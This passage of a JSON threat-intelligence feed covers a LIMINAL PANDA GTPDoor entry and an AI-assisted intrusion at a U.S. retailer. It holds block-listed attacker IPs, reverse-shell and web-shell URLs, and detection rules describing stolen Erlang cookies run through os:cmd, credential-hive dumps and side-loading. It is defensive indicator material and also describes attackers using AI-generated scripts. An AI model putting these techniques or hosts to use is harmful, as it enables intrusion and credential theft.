"LIMINAL-PANDA-GTPDoor-v3-SilentAir_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir/hunt.yaral", "download": "LIMINAL-PANDA-GTPDoor-v3-SilentAir_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir/iocs.csv", "download": "LIMINAL-PANDA-GTPDoor-v3-SilentAir_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir", "share_url": "https://iocwatch.com/t/LIMINAL-PANDA-GTPDoor-v3-SilentAir/", "indicators": [ { "value": "35f0d4d0c5519a2957338e448fce53bc", "type": "md5", "confidence": "high", "recommended_action": "block", "description": "MD5 of LIMINAL PANDA GTPDoor v3 (GTP-U-Door), the Linux implant that hides command-and-control inside GTP-U and uses libpcap for packet capture. Telco-specific.", "source_url": "https://www.enea.com/insights/the-enemy-within-tracking-liminal-panda-and-silentair-through-mobile-networks/", "source_label": "Enea – The Enemy Within: Tracking LIMINAL PANDA and SilentAir through Mobile Networks", "source_name": "Enea", "sources": [ { "url": "https://www.enea.com/insights/the-enemy-within-tracking-liminal-panda-and-silentair-through-mobile-networks/", "name": "Enea" } ] }, { "value": "da35d98c9a22e8ede93595d21fe7e63e", "type": "md5", "confidence": "high", "recommended_action": "block", "description": "MD5 of SCTPE, a kernel-level Linux tool that sends and receives SS7 and Diameter, published by Enea as a sample reference alongside SilentAir and LIMINAL PANDA. Telco-specific.", "source_url": "https://www.enea.com/insights/the-enemy-within-tracking-liminal-panda-and-silentair-through-mobile-networks/", "source_label": "Enea – The Enemy Within: Tracking LIMINAL PANDA and SilentAir through Mobile Networks", "source_name": "Enea", "sources": [ { "url": "https://www.enea.com/insights/the-enemy-within-tracking-liminal-panda-and-silentair-through-mobile-networks/", "name": "Enea" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir/hunt.kql", "download": "LIMINAL-PANDA-GTPDoor-v3-SilentAir_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir/hunt.spl", "download": "LIMINAL-PANDA-GTPDoor-v3-SilentAir_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir/hunt_raw.spl", "download": "LIMINAL-PANDA-GTPDoor-v3-SilentAir_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir/hunt.yaral", "download": "LIMINAL-PANDA-GTPDoor-v3-SilentAir_hunt.yaral" } ] }, { "id": "AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie", "folder": "threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie", "name": "AI-Assisted Intrusion at a U.S. Retailer: SolarWinds Orion Erlang Cookie Abuse, Side-Loaded Loaders and Yuze Tunnels", "short": "AI-assisted retail intrusion", "category": "Intrusion / financially motivated", "published": "2026-11-12", "entry_date": "2026-11-13 09:55", "last_updated": "2026-11-13", "seq": 44, "headline": "Attackers using AI-written PowerShell abuse SolarWinds Orion's RabbitMQ Erlang cookie to move laterally at a U.S. retailer", "summary": "Symantec's Threat Hunter Team describes a September 2026 intrusion at a U.S. retailer that stalled while the attackers typed commands by hand, then sped up once they switched to long, labelled, error-free PowerShell scripts that read like a language model's output relayed by an operator. Commands ran as cmd.exe under sqlservr.exe (xp_cmdshell) on SQL servers and under w3wp.exe on a web server. The attackers staged an old Bitdefender bdreinit.exe with log.dll and log.txt, and a G DATA signed ask.exe with ask.dll, from 204.194.49.129:8080, used a BreakChain launcher to move payloads out from under w3wp.exe, dropped the AES-encrypted server.ps1 reverse shell to 166.0.25.106:443 and two ASP web shells, and built EfsPotato with certutil and csc.exe to dump the SAM, SYSTEM and SECURITY hives. About 10 minutes after first querying SolarWinds Orion they read the .erlang.cookie of Orion's bundled RabbitMQ and ran Orion's erl.exe with that cookie to execute commands on a second server, with each command encoded as decimal character codes. They then hunted NTDS.dit, Group Policy cpassword and LAPS passwords, sprayed passwords with i_winspray.ps1 scripts and tunnelled with Chisel and Yuze. Symantec links the loaders and staging server to an August 2026 intrusion and a July 2026 intrusion at a securities firm, and 155.254.22.215, which the attackers tested egress to, matches the AI console Gambit Security tied to an operator stealing card data from online retailers. Attacker servers, payload URLs and malicious tool hashes are on the block list.", "caveat": "bdreinit.exe and ask.exe are legitimate signed binaries abused for side-loading and are alert only. The 8.219.82.21 (Alibaba Cloud) and 43.208.224.101 (AWS) Yuze hosts may be reassigned and are alert only. Files Symantec lists only as suspicious are alert only, and two listed hashes that match known-good files were left out. The initial access route is unknown and no data theft or encryption was observed.", "targets": { "countries": [ { "code": "US", "name": "United States" } ], "regions": [ "North America", "East Africa", "South Asia" ], "sectors": [ "Retail", "Securities and financial services", "ICT providers to banks and telecoms", "Energy" ], "note": "The main victim is an unnamed U.S. retailer; Symantec links its loaders and staging server to an August 2026 intrusion at another organization and a July 2026 intrusion at a securities firm, and describes other AI-assisted attacks on an East African ICT provider serving banks and telecoms and on south Asian organizations.", "source": { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "name": "Symantec Threat Hunter Team" } }, "mitre": [ { "id": "T1505.003", "name": "Web Shell", "url": "https://attack.mitre.org/techniques/T1505/003/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1059.003", "name": "Windows Command Shell", "url": "https://attack.mitre.org/techniques/T1059/003/" }, { "id": "T1574.002", "name": "DLL Side-Loading", "url": "https://attack.mitre.org/techniques/T1574/002/" }, { "id": "T1036.005", "name": "Match Legitimate Name or Location", "url": "https://attack.mitre.org/techniques/T1036/005/" }, { "id": "T1068", "name": "Exploitation for Privilege Escalation", "url": "https://attack.mitre.org/techniques/T1068/" }, { "id": "T1027.004", "name": "Compile After Delivery", "url": "https://attack.mitre.org/techniques/T1027/004/" }, { "id": "T1140", "name": "Deobfuscate/Decode Files or Information", "url": "https://attack.mitre.org/techniques/T1140/" }, { "id": "T1003.002", "name": "Security Account Manager", "url": "https://attack.mitre.org/techniques/T1003/002/" }, { "id": "T1003.004", "name": "LSA Secrets", "url": "https://attack.mitre.org/techniques/T1003/004/" }, { "id": "T1003.003", "name": "NTDS", "url": "https://attack.mitre.org/techniques/T1003/003/" }, { "id": "T1552.001", "name": "Credentials In Files", "url": "https://attack.mitre.org/techniques/T1552/001/" }, { "id": "T1552.006", "name": "Group Policy Preferences", "url": "https://attack.mitre.org/techniques/T1552/006/" }, { "id": "T1021", "name": "Remote Services", "url": "https://attack.mitre.org/techniques/T1021/" }, { "id": "T1110.003", "name": "Password Spraying", "url": "https://attack.mitre.org/techniques/T1110/003/" }, { "id": "T1090.001", "name": "Internal Proxy", "url": "https://attack.mitre.org/techniques/T1090/001/" }, { "id": "T1572", "name": "Protocol Tunneling", "url": "https://attack.mitre.org/techniques/T1572/" } ], "recommended_actions": [ "Block the staging and C2 servers (204.194.49.129, 166.0.25.106, 154.81.37.136, 108.165.20.205, 155.254.22.215, 103.142.103.225, 176.97.117.157 and the Yuze hosts 103.79.79.191 and 103.79.79.120), the payload URLs and the malicious hashes, and search 90 days of proxy, firewall and EDR logs for them; alert on 8.219.82.21 and 43.208.224.101.", "Hunt for erl.exe from a SolarWinds Orion folder run with -setcookie and an rpc:call to os:cmd, and treat any hit as lateral movement.", "Alert on cmd.exe or PowerShell started by sqlservr.exe or w3wp.exe, and on bdreinit.exe, ask.exe or a w3wp.exe copy running from ProgramData.", "Hunt for certutil decoding into ProgramData followed by csc.exe, reg save of the SAM, SYSTEM or SECURITY hives, BreakChain launchers and scripts named i_*.ps1.", "If Orion runs in your estate, restrict access to the RabbitMQ .erlang.cookie file and the Erlang distribution ports, rotate the cookie after any compromise, and disable xp_cmdshell where it is not needed.", "On a confirmed host, rotate SQL logins, domain and local administrator passwords, FTP, WinSCP, PuTTY and RDP saved credentials, and the Zabbix pre-shared key." ], "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://www.broadcom.com/support/security-center/protection-bulletin/how-ai-revived-a-stalled-attack-on-a-u-s-retailer", "label": "Broadcom Symantec Protection Bulletin – How AI Revived a Stalled Attack on a U.S. Retailer", "name": "Symantec Threat Hunter Team (2)" }, { "url": "https://gambit.security/blog-posts/autonomous-ai-agents-online-retailers-25-a-company", "label": "Gambit Security – AI Agents Are Hacking Online Retailers for $25 a Company (155.254.22.215)", "name": "Gambit Security" }, { "url": "https://threatfox.abuse.ch/ioc/1957978/", "label": "ThreatFox – 176.97.117.157:443 VShell C2 (IOC 1957978)", "name": "ThreatFox" }, { "url": "https://bazaar.abuse.ch/sample/5db5e7f655c4ee94411df8110d1b6d02bb15574ac199fa7a553ce6c3cb25bf03/", "label": "MalwareBazaar – Chisel sample ch.exe", "name": "MalwareBazaar" }, { "url": "https://www.spamhaus.org/drop/", "label": "Spamhaus – DROP and ASN-DROP lists", "name": "Spamhaus" } ], "indicator_count": 62, "block_now_count": 35, "hunt_count": 27, "hunt_counts": { "alert": 27 }, "indicator_counts": { "sha256": 40, "ipv4": 11, "url": 11 }, "ioas": [ { "artefact": "erl.exe from a SolarWinds Orion folder run with -setcookie and an -eval rpc:call to os:cmd, the command written as decimal character codes", "log_source": "EDR process events (DeviceProcessEvents), Windows 4688 with command line", "why": "The attackers read the .erlang.cookie of the RabbitMQ broker that ships with Orion and used Orion's own erl.exe to run operating system commands on a second server about 10 minutes after first querying Orion. Encoding the command as character codes keeps it out of plain text. Legitimate RabbitMQ administration rarely passes os:cmd through rpc:call.", "action": "alert", "has_query": true, "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_name": "Symantec Threat Hunter Team", "title": "Orion erl.exe with a stolen Erlang cookie running os:cmd", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "cmd.exe or PowerShell started by sqlservr.exe or w3wp.exe, followed within 60 minutes on the same device by bdreinit.exe, ask.exe, a BreakChain launcher or a w3wp.exe copy running from ProgramData", "log_source": "Defender XDR DeviceProcessEvents (join on DeviceId within 60 minutes)", "why": "Every stage of this intrusion ran through the SQL Server service (xp_cmdshell) or the IIS worker process, and the attackers then launched side-loading hosts and BreakChain from ProgramData, also copying ask.exe to ProgramData\\w3wp.exe. The pairing is a stronger lead than either event alone. Database maintenance jobs that shell out can match the first half; exclude known SQL Agent and deployment accounts.", "action": "alert", "has_query": true, "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_name": "Symantec Threat Hunter Team", "title": "SQL or IIS shell then a ProgramData side-loading host within 60m", "queries": [ "KQL" ] }, { "artefact": "cmd.exe or PowerShell spawned by sqlservr.exe or w3wp.exe", "log_source": "EDR process events (DeviceProcessEvents), Windows 4688 with command line", "why": "Symantec saw the first activity as cmd.exe directly under sqlservr.exe on three SQL servers, pointing to xp_cmdshell, and later as cmd.exe under w3wp.exe on a compromised web application. Both are rare on a healthy server.", "action": "alert", "has_query": true, "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_name": "Symantec Threat Hunter Team", "title": "Shell spawned by sqlservr.exe or w3wp.exe", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "bdreinit.exe or ask.exe (run with -gdata) loading log.dll or ask.dll from ProgramData, or w3wp.exe running outside the IIS inetsrv folder", "log_source": "EDR process and image-load events (DeviceProcessEvents, DeviceImageLoadEvents)", "why": "The attackers side-loaded log.dll through an old Bitdefender bdreinit.exe and ask.dll through a G DATA signed ask.exe, both from ProgramData, and copied ask.exe to a file named w3wp.exe to blend in. The bdreinit.exe and log.dll pairing is also used by other actors, so it is a lead rather than attribution.", "action": "alert", "has_query": true, "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_name": "Symantec Threat Hunter Team", "title": "bdreinit.exe or ask.exe side-loading from ProgramData", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A BreakChain launcher (breakchain*.exe) run with -m wmi or the shell mode to relaunch a payload", "log_source": "EDR process events (DeviceProcessEvents)", "why": "After repeated terminations the attackers used BreakChain so their payloads would no longer appear as children of w3wp.exe; a second build arrived about 75 minutes after the first was blocked.", "action": "alert", "has_query": true, "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_name": "Symantec Threat Hunter Team", "title": "BreakChain launcher relaunching payloads", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "certutil decoding a file into ProgramData followed by csc.exe compiling it, and SAM, SYSTEM or SECURITY hives saved to disk", "log_source": "EDR process events (DeviceProcessEvents), Windows 4688 with command line", "why": "On a SQL server the attackers appended about 20 base64 chunks to a file under ProgramData, decoded it with certutil and compiled EfsPotato with csc.exe, then saved the SAM, SYSTEM and SECURITY hives; the same hive dumps recurred on other servers. Developers and build agents use csc.exe, so scope the hunt to servers.", "action": "alert", "has_query": true, "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_name": "Symantec Threat Hunter Team", "title": "certutil and csc.exe in ProgramData, or hive dumps", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Long PowerShell scripts from a web or database service with labelled output banners such as ===FILES MENTIONING CONN STRINGS=== or ### whoami/priv ###", "log_source": "EDR process events (DeviceProcessEvents), PowerShell 4104 script block logging", "why": "The AI-assisted phase sent about 50 scripts in two hours, median over 500 characters, each bundling several probes under quoted banners and capping output. Banner formatting alone also appears in admin scripts, so pair it with a sqlservr.exe or w3wp.exe parent.", "action": "hunt", "has_query": true, "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_name": "Symantec Threat Hunter Team", "title": "Long labelled PowerShell scripts from a server process", "queries": [ "KQL", "SPL" ] }, { "artefact": "Password-spraying scripts named i_.ps1, such as i187_winspray.ps1", "log_source": "EDR process and file events (DeviceProcessEvents, DeviceFileEvents)", "why": "Several file names in this intrusion began with i and a number, which may be a per-target numbering scheme; the sprayer tested credential pairs downloaded from the later staging server.", "action": "hunt", "has_query": true, "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_name": "Symantec Threat Hunter Team", "title": "Numbered i_*.ps1 spraying scripts", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 8, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie/block_now.txt", "download": "AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie/defender_xdr_indicators.csv", "download": "AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie/hunt.kql", "download": "AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie/hunt.spl", "download": "AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie/hunt_raw.spl", "download": "AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie/hunt.yaral", "download": "AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie/iocs.csv", "download": "AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie", "share_url": "https://iocwatch.com/t/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie/", "indicators": [ { "value": "204.194.49.129", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Payload staging server on port 8080 that served bdreinit.exe, log.dll, log.txt and the ask.exe kit to the retailer's web server; the Yuze tunnel in an earlier August 2026 intrusion connected back to it.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://www.spamhaus.org/drop/", "name": "Spamhaus" } ] }, { "value": "166.0.25.106", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Host for server.ps1 and the filemanager.asp web shell, and the C2 that the AES-encrypted PowerShell reverse shell calls on port 443.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "154.81.37.136", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Fallback host that served server.ps1 after 166.0.25.106.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://www.spamhaus.org/drop/", "name": "Spamhaus" } ] }, { "value": "155.254.22.215", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Address the attackers tested egress to on TCP 9458 from the victim's SQL servers; Gambit Security named it the staging, command server and AI console of a financially motivated operator attacking online retailers.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://gambit.security/blog-posts/autonomous-ai-agents-online-retailers-25-a-company", "name": "Gambit Security" } ] }, { "value": "108.165.20.205", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Later staging server on port 8080 that served sqlrun2.ps1 and the credential lists for password spraying.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://www.spamhaus.org/drop/", "name": "Spamhaus" } ] }, { "value": "103.142.103.225", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Address seen in the earlier intrusion at a different organization that shared loaders and the staging server with this attack.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://www.spamhaus.org/drop/", "name": "Spamhaus" } ] }, { "value": "176.97.117.157", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Address listed among the network indicators for this intrusion cluster; abuse.ch tracks it as a VShell C2 on port 443.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://threatfox.abuse.ch/ioc/1957978/", "name": "ThreatFox" } ] }, { "value": "103.79.79.191", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Yuze tunnelling cluster host that served the Yuze reverse proxy.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "103.79.79.120", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Yuze tunnelling cluster host listening on port 8088.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "8.219.82.21", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Yuze cluster host that served yuze-Windows-X64.exe.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "43.208.224.101", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Yuze cluster host.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "http://154.81.37.136/server.ps1", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Download of server.ps1, the AES-encrypted PowerShell reverse shell, from the fallback host.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "http://166.0.25.106/server.ps1", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Download of server.ps1, the AES-encrypted PowerShell reverse shell.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "http://166.0.25.106/filemanager.asp", "type": "url", "confidence": "high", "recommended_action": "block", "description": "ASP web shell the attackers planted in the web application's images folder for persistent access.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "http://204.194.49.129:8080/log.dll", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Malicious DLL side-loaded by the old Bitdefender bdreinit.exe.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://www.spamhaus.org/drop/", "name": "Spamhaus" } ] }, { "value": "http://204.194.49.129:8080/log.txt", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Encrypted payload file that log.dll reads and decrypts.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://www.spamhaus.org/drop/", "name": "Spamhaus" } ] }, { "value": "http://204.194.49.129:8080/bdreinit.exe", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Legitimate old Bitdefender executable staged on the attacker server for DLL side-loading.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://www.spamhaus.org/drop/", "name": "Spamhaus" } ] }, { "value": "http://204.194.49.129:8080/ASK.exe", "type": "url", "confidence": "high", "recommended_action": "block", "description": "G DATA signed executable staged for the second side-loading kit (ask.exe, ask.dll, ask.txt).", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://www.spamhaus.org/drop/", "name": "Spamhaus" } ] }, { "value": "http://204.194.49.129:8080/qwdajhsd.asp", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Second ASP web shell written into the web application's images folder.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://www.spamhaus.org/drop/", "name": "Spamhaus" } ] }, { "value": "http://108.165.20.205:8080/sqlrun2.ps1", "type": "url", "confidence": "high", "recommended_action": "block", "description": "PowerShell script fetched by a download cradle on the web server from the later staging server.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://www.spamhaus.org/drop/", "name": "Spamhaus" } ] }, { "value": "http://103.79.79.191/yuze", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Yuze reverse proxy download.", "source_url": 